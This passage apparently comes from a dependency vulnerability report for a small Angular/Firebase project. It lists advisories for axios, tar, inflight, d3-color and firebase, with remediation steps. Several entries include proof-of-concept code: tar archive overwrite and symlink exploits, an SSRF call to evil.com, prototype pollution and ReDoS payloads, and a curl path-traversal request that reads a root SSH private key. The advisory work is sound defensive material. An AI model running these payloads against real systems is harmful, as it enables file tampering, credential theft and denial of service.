Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

CCC
CC+C
C+CC
C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

new

Server-side Request Forgery (SSRF)

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

Improper Handling of Unicode Encoding

Vulnerable module: tar
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

GitHub Commit

Improper Handling of Unicode Encoding vulnerability report

medium severity

new

Improper Encoding or Escaping of Output

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Improper Encoding or Escaping of Output vulnerability report

medium severity

new

Prototype Pollution

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Prototype Pollution vulnerability report

medium severity

new

Unintended Proxy or Intermediary ('Confused Deputy')

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

Unintended Proxy or Intermediary ('Confused Deputy') vulnerability report

medium severity

Server-side Request Forgery (SSRF)

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

Server-side Request Forgery (SSRF)

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

Missing Release of Resource after Effective Lifetime

Vulnerable module: inflight
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › protobufjs@5.0.3 › glob@7.2.3 › inflight@1.0.6
Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

Missing Release of Resource after Effective Lifetime vulnerability report

medium severity

Directory Traversal

Vulnerable module: tar
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.

Details

Directory Traversal vulnerabilities can be generally divided into two types:

Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.7 or higher.

References

GitHub Commit

Directory Traversal vulnerability report

medium severity

Directory Traversal

Vulnerable module: tar
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/firestore@0.2.1 › grpc@1.24.11 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.

PoC

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Details

Directory Traversal vulnerabilities can be generally divided into two types:

Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.3 or higher.

References

Directory Traversal vulnerability report

medium severity

Prototype Pollution

Vulnerable module: @firebase/util
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/app@0.1.4 › @firebase/util@0.1.4

Remediation: Upgrade to firebase@8.0.1.
Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/database@0.1.5 › @firebase/util@0.1.4

Remediation: Upgrade to firebase@8.0.1.
Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/messaging@0.1.5 › @firebase/util@0.1.4

Remediation: Upgrade to firebase@8.0.1.

Overview

@firebase/util is a wrapper of some Webchannel Features for the Firebase JS SDK.

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

const util = require('@firebase/util');
var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');

const a = {
    nest: {
      number: 1,
      string: '1',
      object: { key: '1' },
      date: new Date(1),
      nest: {
        a: 1
      }
    },
  };

var result = util.deepExtend(a,payload);
console.log({}.polluted);

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade @firebase/util to version 0.3.4 or higher.

References

Prototype Pollution vulnerability report

medium severity

new

Insertion of Sensitive Information Into Sent Data

Vulnerable module: axios
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

Insertion of Sensitive Information Into Sent Data vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: d3-color
Introduced through: d3@5.16.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-transition@1.3.2 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-scale-chromatic@1.5.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-transition@1.3.2 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-brush@1.1.6 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-scale@2.2.2 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-scale-chromatic@1.5.0 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-zoom@1.8.3 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-brush@1.1.6 › d3-transition@1.3.2 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-zoom@1.8.3 › d3-transition@1.3.2 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-brush@1.1.6 › d3-transition@1.3.2 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.
Introduced through: circle-ci-test@xeontem/circle-ci-test › d3@5.16.0 › d3-zoom@1.8.3 › d3-transition@1.3.2 › d3-interpolate@1.4.0 › d3-color@1.4.1

Remediation: Upgrade to d3@7.0.0.

Overview

d3-color is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the rgb() and hrc() functions.

PoC by Yeting Li:

var d3Color = require("d3-color")
// d3Color.rgb("rgb(255,255,255)")

function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

for(var i = 1; i <= 5000000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_blank(i)
        d3Color.rgb(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade d3-color to version 3.1.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Cross-site Scripting (XSS)

Vulnerable module: @firebase/auth
Introduced through: firebase@4.8.0

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › firebase@4.8.0 › @firebase/auth@0.3.0

Remediation: Upgrade to firebase@10.9.0.

Overview

@firebase/auth is a The Firebase Authenticaton component of the Firebase JS SDK.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the _authTokenSyncURL field in the FIREBASE_DEFAULTS settings due to improper user input sanitization. An attacker can manipulate session synchronization by setting this cookie field to point to a malicious server, thereby capturing user session data transmitted by the SDK.

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @firebase/auth to version 1.6.2 or higher.

References

Cross-site Scripting (XSS) vulnerability report

low severity

Cross-site Scripting (XSS)

Vulnerable module: @angular/core
Introduced through: @angular/core@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/core@5.2.11

Remediation: Upgrade to @angular/core@11.0.5.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in development, with SSR enabled.

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 11.0.5, 11.1.0-next.3 or higher.

References

Cross-site Scripting (XSS) vulnerability report

low severity

Cross-site Scripting (XSS)

Vulnerable module: @angular/compiler
Introduced through: @angular/compiler@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/compiler@5.2.11

Remediation: Upgrade to @angular/compiler@19.2.18.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of SVG <script> element attributes href and xlink:href when user-controlled data is bound to these attributes. An attacker can execute arbitrary JavaScript code in the victim's browser by supplying a crafted payload through untrusted data sources that are bound to these attributes.

##Workaround

This vulnerability can be mitigated by avoiding dynamic template bindings for SVG <script> elements and strictly validating input against a trusted allowlist before it reaches the template.

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
